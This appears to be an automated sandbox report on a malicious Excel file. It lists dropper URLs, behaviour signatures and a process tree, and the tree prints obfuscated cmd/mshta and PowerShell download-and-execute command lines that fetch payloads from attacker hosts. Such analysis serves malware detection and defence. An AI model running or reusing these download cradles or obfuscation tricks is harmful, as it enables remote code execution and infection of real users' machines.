Analysis

  • max time kernel
    4s
  • max time network
    9s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    21/01/2022, 04:58

General

  • Target
    1df4b2482edd9d2789352b664d3e71cf.xls
  • Size 71KB
  • Sample220121-flvcgsdgb5
  • SHA256 db8baab6295830de9d3d9a59dc3b8c88a5de601deeaffaaa83bb6aa941e29b6c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fe2.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fe2.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1df4b2482edd9d2789352b664d3e71cf.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1688
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      PID:3620
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
          PID:3548
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
              PID:3084
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
        1⤵
          PID:2796
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 408 -p 3548 -ip 3548
          1⤵
            PID:3112

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                memory/1688-130-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

                memory/1688-131-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

                memory/1688-132-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

                memory/1688-133-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

                memory/1688-134-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

                memory/1688-137-0x00007FF8A4630000-0x00007FF8A4640000-memory.dmp

                memory/1688-138-0x00007FF8A4630000-0x00007FF8A4640000-memory.dmp